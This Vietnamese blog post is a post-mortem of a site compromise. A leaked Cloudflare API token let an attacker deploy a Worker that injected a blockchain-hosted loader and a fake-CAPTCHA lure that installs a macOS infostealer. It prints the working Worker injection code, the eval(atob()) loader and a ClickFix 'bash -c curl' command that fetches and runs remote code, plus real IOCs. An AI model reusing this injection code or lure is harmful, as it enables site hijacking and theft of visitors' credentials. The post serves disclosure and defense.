Khi Website Của Tôi Bị Inject Malware: Hành Trình Truy Tìm Nguyên Nhân

TL;DR: Mình vô tình commit Cloudflare API Token vào một repo public trên GitHub. Kẻ tấn công đã lợi dụng token này để tạo Cloudflare Worker, inject mã độc vào mọi trang HTML của tất cả website trên server. Malware giả mạo giao diện “I’m not a robot” (CAPTCHA), lừa người dùng dán lệnh độc hại vào Terminal — cài đặt InfoStealer trên macOS. Bài viết này chia sẻ toàn bộ quá trình phát hiện, phân tích kỹ thuật, và cách xử lý.

Chuỗi tấn công từ API Token bị lộ đến InfoStealer
Chuỗi tấn công từ API Token bị lộ đến InfoStealer

Bối Cảnh

Mình quản lý một VPS với nhiều website được triển khai trên đó, với các tech stack khác nhau:

  • ntcde.com — WordPress
  • top…net — Nuxt.js
  • me…com — Nuxt.js
  • api…dev — PHP

Kiến trúc hệ thống sử dụng mô hình proxy nhiều lớp:

Internet → Cloudflare (DNS + CDN) → Reverse Proxy (SSL) → Web Server (Per-site) → App

Toàn bộ infrastructure được tự động hóa bằng IaC (Infrastructure as Code), và source code được quản lý trên GitHub.

Phát Hiện Vấn Đề

Vào một ngày trong kỳ nghỉ lễ dài, khi truy cập website của mình, bất ngờ xuất hiện một popup xác minh robot — kiểu CAPTCHA “I’m not a robot” — mà mình hoàn toàn không cài đặt. Điều đáng ngờ hơn: popup này yêu cầu người dùng mở Terminal và dán một đoạn lệnh.

Giao diện fake CAPTCHA mà malware hiển thị trên website
Giao diện fake CAPTCHA mà malware hiển thị trên website

Mình lập tức kiểm tra source HTML trả về từ server và phát hiện ở cuối file, trước thẻ </body>, có một đoạn JavaScript hoàn toàn lạ — không thuộc bất kỳ plugin hay theme nào mình cài đặt.

Điều kỳ lạ nhất: Cả website WordPress (ntcde.com) lẫn Nuxt.js (top…net) đều bị inject cùng một đoạn mã, dù hai site sử dụng công nghệ hoàn toàn khác nhau.


Phân Tích Kỹ Thuật

1. Script Inject — Blockchain-Based Payload Loader

Đoạn mã độc được inject có cấu trúc rất tinh vi. Thay vì hardcode payload trực tiếp (dễ bị scanner phát hiện), nó sử dụng smart contract trên BSC Testnet làm nơi lưu trữ:

async function load_(address) {
  // Gọi smart contract trên BSC Testnet để lấy payload
  const response = await fetch("https://bsc-testnet-rpc.publicnode.com", {
    method: "POST",
    body: JSON.stringify({
      method: "eth_call",
      params: [{ to: address, data: "0x6d4ce63c" }, "latest"],
      id: 97,
      jsonrpc: "2.0"
    })
  });

  const result = await response.json();
  const value = /* decode hex result */;

  // Thực thi payload
  eval(atob(value));
}

Kỹ thuật này cực kỳ nguy hiểm vì:

  • Payload lưu trên blockchain → không thể bị takedown bởi hosting provider
  • Không có C2 server truyền thống → khó bị block bởi firewall
  • Payload có thể update bằng cách deploy smart contract mới
  • Bypass static analysis vì code thực sự nằm off-chain

Script còn có cơ chế anti-detection rất kỹ:

function isHeadless() {
  return (
    navigator.webdriver ||
    /HeadlessChrome/.test(navigator.userAgent) ||
    /PhantomJS/.test(navigator.userAgent) ||
    window.__playwright !== undefined ||
    window.__puppeteer !== undefined
  );
}

Nó kiểm tra headless browser (Puppeteer, Playwright, PhantomJS), phát hiện localhost, và phân biệt OS để target đúng payload:

  • Windows → Tải về PowerShell script từ Smart Contract riêng 0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff
  • macOS → Tải về shell script chứa InfoStealer (phân tích chi tiết bên dưới) 0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5

Mỗi OS sử dụng một smart contract khác nhau, cho phép kẻ tấn công tùy chỉnh payload riêng cho từng nền tảng.

2. Fake CAPTCHA — Social Engineering

Payload khi được thực thi sẽ render một giao diện giả mạo reCAPTCHA:

  • Overlay toàn trang với z-index: 2147483647 (giá trị max) và position: fixed
  • Checkbox “I’m not a robot” trông giống hệt Google reCAPTCHA
  • Khi click, hiển thị “Verification Steps”:
    1. Nhấn ⊞ Win + R (Windows) hoặc mở Terminal (macOS)
    2. Nhấn Ctrl+V / Cmd+V (paste)
    3. Nhấn Enter

Trước khi hiển thị hướng dẫn, script đã âm thầm copy một lệnh bash vào clipboard của người dùng:

# (domain đã được thay thế để đảm bảo an toàn)
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'https://<malicious-domain>/?param=xxx')"; echo "BotGuard: Answer the protector challenge. Ref: 81535"

Dòng echo cuối cùng được thêm vào để khi paste ra Terminal, người dùng thấy text trông “hợp lệ” liên quan đến BotGuard/CAPTCHA — tăng tính thuyết phục.

Đây là kỹ thuật tấn công được biết đến với tên ClickFix hoặc FakeCAPTCHA, đã được nhiều nhóm threat actor sử dụng trong năm 2024-2025.

3. macOS InfoStealer — Payload Cuối Cùng

Lệnh bash khi được thực thi sẽ tải về và chạy một shell script. Mình đã tải script này về (file shell.txt) và phân tích:

osascript -e "$(echo "<BASE64_ENCODED>" | base64 -d)"

Toàn bộ payload là AppleScript được encode base64 nhiều lớp. Sau khi deobfuscate:

Stage 1 — Persistence:

Tạo file: ~/Library/LaunchAgents/com.fotencmkyrzlkzgd.plist
  • KeepAlive: true — Tự khởi động lại nếu bị kill
  • RunAtLoad: true — Chạy khi macOS khởi động

LaunchAgent đảm bảo malware tồn tại vĩnh viễn trên máy victim, ngay cả sau khi restart.

Stage 2 — Data Exfiltration:

Script sử dụng obfuscation bằng ASCII character ID để xây dựng URLs và commands:

(character id 57) & (character id 115) & ...

Hành vi chính:

  • Thu thập browser data (cookies, saved passwords, history)
  • Thu thập Keychain data
  • Thu thập crypto wallet data
  • Thu thập system information
  • Gửi toàn bộ về C2 server qua HTTPS

Truy Tìm Nguyên Nhân

Suy Luận Ban Đầu

Việc cả hai site khác tech stack đều bị inject giống nhau là manh mối quan trọng nhất:

SiteTech StackBị inject?
ntcde.comWordPress (PHP)
top…netNuxt.js (Node.js)

WordPress và Nuxt.js không chia sẻ bất kỳ component nào. Nếu là lỗi plugin WordPress, Nuxt.js không thể bị ảnh hưởng. Ngược lại cũng vậy.

→ Điểm chung duy nhất = Server hoặc CDN layer.

Kiểm Tra Hạ Tầng

Mình rà soát từng layer:

  1. Web server config → Sạch, không có response modification
  2. Reverse proxy config → Sạch, chỉ routing và SSL
  3. Docker containers → Không có container lạ
  4. Cron jobs → Chỉ có scheduled job hợp lệ
  5. SSH access → Không có unauthorized key

Mọi thứ trên server đều sạch. Vậy inject xảy ra ở đâu?

Phát Hiện Bất Ngờ — Credentials Trong Git

Khi rà soát lại source code IaC, mình phát hiện file config chứa Cloudflare DNS API Token ở dạng plaintext:

CF_DNS_API_TOKEN: "WiMd2M********************obI9"

File này được tracked bởi Git và repo này đã từng public trên GitHub một thời gian ngắn trước khi mình chuyển sang private.

Xác Nhận — Cloudflare Worker Độc Hại

Kiểm tra Cloudflare Dashboard, mình tìm thấy một Worker hoàn toàn lạ được tạo trong khoảng thời gian mình nghỉ lễ:

Workerworker-morning-moon-****.*****.workers.dev

Code của Worker (đã format lại):

export default {
  async fetch(request, env, ctx) {
    let maliciousScript = "";

    try {
      // Lấy payload từ BSC Testnet Smart Contract
      const getPayload = async (contractAddress) => {
        const response = await fetch(
          "https://bsc-testnet-rpc.publicnode.com/",
          {
            method: "POST",
            body: JSON.stringify({
              method: "eth_call",
              params: [{ to: contractAddress, data: "0x6d4ce63c" }, "latest"],
              id: 97,
              jsonrpc: "2.0",
            }),
          },
        );
        // Decode hex → string
        return decodedPayload;
      };

      const encoded = await getPayload(
        "0xA1decFB75C8C0CA28C10517ce56B710baf727d2e",
      );
      maliciousScript = atob(encoded); // Base64 decode
    } catch {}

    // Fetch response gốc
    const originalResponse = await fetch(request);

    // Chỉ inject vào HTML
    if (
      !maliciousScript ||
      !originalResponse.headers.get("Content-Type")?.includes("text/html")
    )
      return originalResponse;

    // Inject script trước </body>
    const modified = (await originalResponse.text()).replace(
      "</body>",
      `<script>${maliciousScript}</script></body>`,
    );

    return new Response(modified, {
      status: originalResponse.status,
      headers: {
        ...originalResponse.headers,
        "Content-Type": "text/html;charset=UTF-8",
      },
    });
  },
};

Đây chính là nguyên nhân gốc. Worker này:

  1. Intercept mọi HTTP request đến các domain của mình
  2. Fetch payload malware từ blockchain
  3. Nếu response là HTML → inject <script> trước </body>
  4. Trả response đã bị modify cho user
Cơ chế Cloudflare Worker chặn và sửa đổi response
Cơ chế Cloudflare Worker chặn và sửa đổi response

Vì inject xảy ra ở tầng Cloudflare (CDN), server hoàn toàn sạch — đó là lý do mình không tìm thấy gì bất thường khi kiểm tra server.


Chuỗi Tấn Công Hoàn Chỉnh

1. Mình commit CF_DNS_API_TOKEN vào repo IaC
2. Repo public trên GitHub → Token bị lộ
3. Kẻ tấn công quét GitHub, thu thập Cloudflare token
4. Dùng token để tạo Cloudflare Worker
5. Gắn Worker Route vào domains của mình
6. Worker tự động inject malware vào mọi HTML response
7. Người dùng truy cập → thấy fake CAPTCHA
8. Nếu làm theo hướng dẫn → paste lệnh vào Terminal
9. macOS InfoStealer được cài đặt
10. Dữ liệu cá nhân bị đánh cắp

Toàn bộ quá trình không cần hack server, không cần exploit application. Chỉ cần 1 API token bị lộ.


Xử Lý Sự Cố

Các bước mình đã thực hiện:

  1. Xóa Cloudflare Worker độc hại và tất cả routes liên kết
  2. Revoke API Token cũ trên Cloudflare
  3. Kiểm tra Audit Log — xác nhận không có thay đổi DNS hay rules nào khác
  4. Tạo API Token mới với quyền tối thiểu (chỉ DNS Edit cho zones cụ thể)
  5. Update Reverse Proxy trên server với token mới
  6. Kiểm tra máy Mac cá nhân — không bị nhiễm (mình không làm theo fake CAPTCHA)
  7. Đổi tất cả credentials bị lộ trong repo (password, token key,…)
  8. Verify — curl response từ tất cả sites, xác nhận không còn script inject

Kết quả verify:

# Kiểm tra từng site xem còn dấu vết malware không
curl -s https://ntcde.com/ | grep -c "bsc-testnet\|eval(atob\|isHeadless"
# 0 ✅ → Sạch!

Bài Học Rút Ra

1. Không bao giờ commit secrets vào Git

Đây là nguyên tắc cơ bản nhưng rất dễ vi phạm khi vội vàng. Dù repo private, Git history vẫn lưu lại mọi thứ. Nếu repo từng public dù chỉ 1 phút, coi như secret đã bị lộ.

Giải pháp:

  • Sử dụng encryption cho sensitive variables (ví dụ: Ansible Vault, SOPS, …)
  • Sử dụng environment variables thay vì hardcode
  • Thêm .gitignore cho files chứa secrets
  • Enable GitHub Secret Scanning để tự động phát hiện

2. API Token cần quyền tối thiểu (Principle of Least Privilege)

Token Cloudflare của mình có quá nhiều quyền. Chỉ cần quyền DNS Edit cho DNS Challenge, nhưng token có thể còn quyền tạo Workers, modify rules… Luôn tạo token với scope nhỏ nhất có thể.

3. Cloudflare Worker là attack vector ít được chú ý

Khi nghĩ về server bị hack, chúng ta thường kiểm tra: SSH, web server config, application code, database… Nhưng CDN/proxy layer (Cloudflare Workers, Page Rules) lại là nơi rất ít người kiểm tra. Một Worker có thể modify mọi response mà server hoàn toàn không biết.

4. Blockchain + CDN = Hạ tầng C2 gần như bất khả xâm phạm

Kẻ tấn công trong case này sử dụng kiến trúc rất thông minh:

  • Cloudflare Workers — miễn phí, dễ tạo, khó phát hiện
  • BSC Testnet Smart Contract — miễn phí deploy, không thể takedown, payload persist mãi mãi
  • Không có C2 server truyền thống — không có gì để block/takedown

5. ClickFix/FakeCAPTCHA là chiến dịch tấn công đang gia tăng

Loại tấn công social engineering này bùng nổ trong 2024-2025. Nó khai thác thói quen copy-paste và sự tin tưởng vào giao diện CAPTCHA quen thuộc. Luôn cảnh giác khi bất kỳ website nào yêu cầu bạn mở Terminal hoặc PowerShell.

6. Kiểm tra bảo mật đa lớp

Khi một sự cố xảy ra với nhiều services cùng lúc, hãy nghĩ đến lớp chung thay vì kiểm tra từng service riêng lẻ:

Application layer → Server layer → CDN/Proxy layer → DNS layer

Trong case của mình, vấn đề nằm ở CDN layer — nơi mình kiểm tra cuối cùng.


Indicators of Compromise (IOC)

Nếu bạn gặp bất kỳ dấu hiệu nào sau đây, website hoặc máy tính của bạn có thể đã bị ảnh hưởng bởi chiến dịch tấn công tương tự:

LoạiGiá trị
Domainls5ljzti.ethen0shypnotist.digital
BSC Contract0xA1decFB75C8C0CA28C10517ce56B710baf727d2e
BSC Contract (macOS)0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5
BSC Contract (Windows)0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff
LaunchAgent (macOS)com.fotencmkyrzlkzgd.plist
Malware path (macOS)~/Library/fotencmkyrzlkzgd
Yandex Tracker ID99162160
CSS Class markers_DwRmnwRR_MHK31ybA

Nếu bạn là nạn nhân (đã paste lệnh vào Terminal/PowerShell):

macOS:

# Kiểm tra LaunchAgent malware
ls -la ~/Library/LaunchAgents/com.fotencmkyrzlkzgd.plist

# Nếu file tồn tại → Chạy lệnh sau để xóa:
launchctl unload ~/Library/LaunchAgents/com.fotencmkyrzlkzgd.plist
rm -f ~/Library/LaunchAgents/com.fotencmkyrzlkzgd.plist
rm -rf ~/Library/fotencmkyrzlkzgd

Windows:

# Kiểm tra scheduled tasks và startup entries bất thường
Get-ScheduledTask | Where-Object {$_.TaskName -notlike "Microsoft*"}
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"

Sau khi cleanup: Đổi TOÀN BỘ mật khẩu đã lưu trên browser, đặc biệt là email, ngân hàng, và các tài khoản crypto.


Lời Kết

Một sai lầm nhỏ — commit API token vào Git — đã tạo ra chuỗi hậu quả nghiêm trọng. Do sự cố xảy ra đúng vào dịp nghỉ lễ dài nên mình không kiểm tra website thường xuyên, dẫn đến malware tồn tại vài ngày trước khi được phát hiện. May mắn là mình phát hiện kịp thời khi tự truy cập site của mình, và máy cá nhân không bị nhiễm vì đã nhận ra đó là fake CAPTCHA.

Sự cố này nhắc nhở mình (và hy vọng cả bạn) rằng: bảo mật không chỉ là việc của server hay application — mà là của toàn bộ chuỗi cung ứng, từ Git repository, CI/CD pipeline, DNS, CDN, cho đến mọi third-party service mà bạn sử dụng.

Hãy dành 5 phút kiểm tra lại Git history của bạn ngay hôm nay. Bạn có thể sẽ bất ngờ với những gì mình tìm thấy.


Nếu bạn có câu hỏi hoặc gặp tình huống tương tự, hãy liên hệ với mình. Stay safe!🛡️ 

[Hack Time] Cuối tuần tập viết Extension cho Chrome

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.